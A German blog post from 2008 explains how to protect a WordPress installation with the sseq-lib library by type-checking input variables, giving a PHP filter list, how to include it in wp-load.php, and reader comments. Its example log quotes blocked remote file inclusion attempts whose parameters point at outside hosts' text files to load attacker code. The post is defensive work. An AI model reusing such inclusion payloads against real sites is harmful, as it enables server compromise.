(Unbekannte) Wordpress-Schwachstellen absichern
Samstag, November 1st, 2008 | PHP, Sicherheit, blind patch, sseq-lib
Diese Wordpress-Installation verwendet die sseq-lib Sicherheitsbibliothek zur Validierung von Eingangsvariablen im Vorfeld der Verarbeitung durch den Wordpress-Kern oder angeschlossene Pugins.
Ist die Protokollierung eingeschaltet, werden damit solche Angriffsversuche fest gehalten:
- [_GET], cat: INT param not INT, 11 //index.php?str=http://www.********.**/components/id.txt????, GET, /index.php, libwww-perl/5.810,
- [_GET], paged: INT param not INT, 2/index.php?_REQUEST=, GET, /index.php, libwww-perl/5.810,
- [_GET], p: INT param not INT, /tikiwiki/tiki-graph_formula.php?w=1, GET, /index.php, libwww-perl/5.79,
- [_GET], m: INT param not INT, 200803/\"upload.php?file=\"http://***.*****.**/album/PhotoAlbum/galeri/album1212/id.txt???, GET, /index.php, libwww-perl/5.79,
- [_GET], p: INT param not INT, 30//lib/header.php?DOC_ROOT=http://www.gosgo.com/bbs/idr.txt??, GET, /index.php, Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4,
- [_GET], page_id: INT param not INT, 145//include/install.phphttp://www.ekorea.net/forum//include/r0x.txt???, GET, /index.php, libwww-perl/5.811,
Dank der Typenprüfung werden solche Angriffe abgewehrt noch bevor sie etwaige Schwachstellen innerhalb der Anwendung erreichen können. Da die Werte nicht dem erwarteten Typ oder Intervall entsprechen, werden sie nach der Überprüfung gelöscht.
Die zu prüfenden Variablennamen können mit einer Quellcodesichtung gewonnen werden oder aber mit Hilfe des Variablen-Protokolls aus sseq-lib. Ein solches Protokoll sieht dabei wie folgt aus:
[P] action=autosave
[P] post_ID=223
[P] post_title=SQL-Injections - eine Analyse an PHP & MySQL
[P] autosavenonce=a59*****39
[P] tags_input=creative commons,injection,mysql,PHP,schwachstelle,sql injection,webentwicklung,websicherheit
[P] post_type=post
[P] autosave=0
[P] content=Den vollständigen 1. Teil des Dokumentes unter Creative Common-Lizenz als PDF-Datei herunterladen:
[P] comment=Danke, du hast natürlich Recht!
[P] submit=Kommentar absenden
[P] comment_post_ID=223
[P] _wp_unfiltered_html_comment=cfa*****6b
[G] p=223
[P] id=26
[P] action=dim-comment
[P] _ajax_nonce=b9*****83
[G] comment_status=moderated
[G] jax=planetnews
Es ist die Quelle der Daten zu erkennen (P=POST, G=GET, C=COOKIE, S=SESSION), der Variablenname und der Wert. Aus einer Protokollierung über einige Zeit hinweg kann dabei eine Untermenge der möglichen Eingangsvariablen ermittelt werden mitsamt der zu erwartenden Wertetypen und -längen.
Aus den gewonnenen Daten kann bereits ein Vorfilter erzeugt werden, der die Daten validiert. Er sieht im Falle einer Wordpress-Installation z.B. so aus:
// VARIABLE NAME # SOURCE # TYPE # MIN # MAX # XSS # SQL &
$sanitizer = ' cat # pg # INT # 1 # 1000 # true # true &
p # pg # INT # 1 # 1000 # true # true &
page_id # pg # INT # 1 # 1000 # true # true &
m # pg # INT # 1 # 1000000# true # true &
attachment_id # pg # INT # 1 # 1000 # true # true &
feed # pg # STR # 1 # 50 # true # true &
author # p # STR # 1 # 30 # # true &
email # p # STR # 1 # 100 # # true &
url # p # STR # 1 # 100 # # true &
message # p # STR # 1 # # # true &
comment_post_ID # p # INT # 1 # 1000 # true # true &
paged # pg # INT # 1 # 1000 # true # true &
autosave # p # INT # 0 # 1 # # &
post_ID # p # INT # 1 # 1000 # # true &
action # p # STR # 1 # 100 # # true &
autosavenonce # p # STR # 1 # 10 # # true &
samplepermalinknonce# p # STR # 1 # 10 # # true &
closedpostboxesnonce# p # STR # 1 # 10 # # true &
getpermalinknonce # p # STR # 1 # 10 # # true &
_ajax_nonce # p # STR # 1 # 10 # # true &
post_type # p # STR # 1 # 10 # # true &
post_author # p # INT # 1 # 30 # # true &
comment_status # p # STR # 1 # 10 # # true &
ping_status # p # STR # 1 # 10 # # true &
';
Um die Validierung einzuschalten, wird die Sicherheitsbibliothek zusammen mit dem Filter in die Datei "wp-load.php" eingebunden.
define( 'ABSPATH', dirname(__FILE__) . '/' );
error_reporting(E_ALL ^ E_NOTICE ^ E_USER_NOTICE);
include_once(ABSPATH . 'sseq-lib/seq_lib.php');
// VARIABLE NAME # SOURCE # TYPE # MIN # MAX # XSS # SQL &
$sanitizer = ' cat # pg # INT # 1 # 1000 # true # true &
p # pg # INT # 1 # 1000 # true # true &
page_id # pg # INT # 1 # 1000 # true # true &
m # pg # INT # 1 # 1000000# true # true &
attachment_id # pg # INT # 1 # 1000 # true # true &
feed # pg # STR # 1 # 50 # true # true &
author # p # STR # 1 # 30 # # true &
email # p # STR # 1 # 100 # # true &
url # p # STR # 1 # 100 # # true &
message # p # STR # 1 # # # true &
comment_post_ID # p # INT # 1 # 1000 # true # true &
paged # pg # INT # 1 # 1000 # true # true &
autosave # p # INT # 0 # 1 # # &
post_ID # p # INT # 1 # 1000 # # true &
action # p # STR # 1 # 100 # # true &
autosavenonce # p # STR # 1 # 10 # # true &
samplepermalinknonce# p # STR # 1 # 10 # # true &
closedpostboxesnonce# p # STR # 1 # 10 # # true &
getpermalinknonce # p # STR # 1 # 10 # # true &
_ajax_nonce # p # STR # 1 # 10 # # true &
post_type # p # STR # 1 # 10 # # true &
post_author # p # INT # 1 # 30 # # true &
comment_status # p # STR # 1 # 10 # # true &
ping_status # p # STR # 1 # 10 # # true &
';
SEQ_SANITIZE($sanitizer);
Ergänzt man diese Filterliste um weitere Parameter - die z.B. nach der Installation eines Plugins - so erreicht man mit der Zeit eine erhöhte Sicherheit, die für die eigene Installation angepasst ist. Durch die Validierung können auch Angriffe abgewehrt werden, die noch unbekannte Schwachstellen auszunutzen versuchen. Insbesondere ist man damit imstande, eine unbekannte Anwendung abzusichern, ohne den Quellcode verstehen oder ändern zu müssen.
Themenverwandt:
- Wordpress security under pressure So there it is: a popular Wordpress installation got hacked....
- Understanding sseq-lib log file To understand what kind of attacks have been blocked by...
- [PATCH] Insanely Simple Blog 0.5 (index) Remote SQL Injection Vulnerabilities On SecurityFocus: Insanely Simple Blog 0.5 (index) Remote SQL Injection...
- Gegen Cross-Site-Request-Forgery absichern CSRF, der schlafende Gigant tritt immer mehr in Erscheinung, mehr...
- Joomla! 38%* sicherer machen Lieber Joomla! Nutzer oder Entwickler oder Admin, hier findest du...
4 Kommentare to (Unbekannte) Wordpress-Schwachstellen absichern
Vielen Dank für die tolle Arbeit! Wie kann ich denn das Variablen-Protokoll erstellen lassen? Die Kommentare aus der Funktion SEQ_DATADUMP habe ich bereits entfernt und eine passende Datei angelegt, allerdings finde ich nicht die Stelle des Funktionsaufrufes. Danke!
10. Dezember 2009
Danke Patrick! Um die Protokollierung zu starten rufst Du SEQ_DATADUMP innerhalb Deiner Anwendung auf:
SEQ_DATADUMP();
11. Dezember 2009
Das klappt super, danke! Mir ist aufgefallen, dass in Deiner Liste noch der Variablenname s für die Suche fehlt.
Hast Du Dich schon einmal mit individuellen Permalinks beschäftigt? Wenn ich diese verwende, wird bekannterweise aus ?tag=test => /tag/test. Die Filterung über sseq-lib ist dann nicht mehr aktiv.
Nun bin ich bis zur WP-datei link-template.php in wp-includes vorgestoßen und suche nach einer Möglichkeit der Einbindung Deiner lib.
Hast Du einen Tipp? Danke!
11. Dezember 2009
Die Permalinks habe ich mir angeschaut, jedoch noch nicht die Stelle zum Abgreifen gefunden. Poste die Lösung, wenn du erfolgreich bist!
Einen Kommentar hinterlassen
Search
Seiten
Kategorien
Ähnliche Beiträge
Themenverwandt:
- Wordpress security under pressure So there it is: a popular Wordpress installation got hacked....
- Understanding sseq-lib log file To understand what kind of attacks have been blocked by...
- [PATCH] Insanely Simple Blog 0.5 (index) Remote SQL Injection Vulnerabilities On SecurityFocus: Insanely Simple Blog 0.5 (index) Remote SQL Injection...
- Gegen Cross-Site-Request-Forgery absichern CSRF, der schlafende Gigant tritt immer mehr in Erscheinung, mehr...
- Joomla! 38%* sicherer machen Lieber Joomla! Nutzer oder Entwickler oder Admin, hier findest du...
Archiv
Sicherheit
- Analyse von Sicherheitsschwachstellen bei der Implementierung von Webanwendungen in PHP/MySQL (Teil 1)
- National Vulnerability Database
- Open Web Application Security Project (OWASP)
- PHP-Software mit Sicherheitsschwachstellen (Liste)
- SANS - Security Summary
- Sicherheit von Webanwendungen
- Vulnerability Databases
Mister Wong Blogroll
- sirdarckcat: A couple of unicode issues on PHP and Firefox
- HTTP Parameter Pollution
- Our Favorite XSS Filters/IDS and how to Attack Them
- 1 Raindrop: Don't Cede the Cloud
- Top 10 Web Vulnerability Scanners
- Torsten Keil - www.torsten-keil.net
- BigIntegers and RSA in JavaScript
- Als attackierend gemeldete Website!
- [WEB SECURITY] Web Application Scanners Comparison
- TSJ-2009-01-winter.pdf (application/pdf-Objekt)












9. Dezember 2009